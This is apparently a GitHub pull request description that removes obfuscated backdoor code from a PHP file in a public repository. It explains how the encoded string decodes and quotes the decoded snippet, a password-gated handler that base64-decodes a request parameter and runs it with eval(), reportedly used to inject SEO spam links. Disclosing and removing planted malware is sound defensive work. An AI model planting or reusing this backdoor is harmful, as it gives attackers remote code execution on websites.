Remove exploit code from php file

So this is exploit code
https://github.com/cmrivers/ebola/pull/58/files#diff-b3841510bcffaa3dac1feaa94252e9d1L1

if you decode the string you get
https://gist.github.com/samccone/8f4ea806880704933ee8

then by echoing the result of this mask operation you get
https://gist.github.com/samccone/bc7f3c8d04bead01480b


Then is requesting some files and executing them on the page

```php
f ((md5($_REQUEST["mmmakowoiwow002"]) == "a3934dbe20b0b3e9bbe7a9efcc6526f4") && (isset($_REQUEST["mmmakowoiwow001"]))) {
$R8725029EA89712EED8670BAE64D30E47 = base64_decode($_REQUEST["mmmakowoiwow001"]);
return "Execution...$R8725029EA89712EED8670BAE64D30E47\n" . eval($R8725029EA89712EED8670BAE64D30E47);
}
```

to inject links for websites to boost google SEO

which is where I stopped, but this is no good at all.




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refs

https://forums.digitalpoint.com/threads/can-someone-help-me-decode-this-base64.2233101/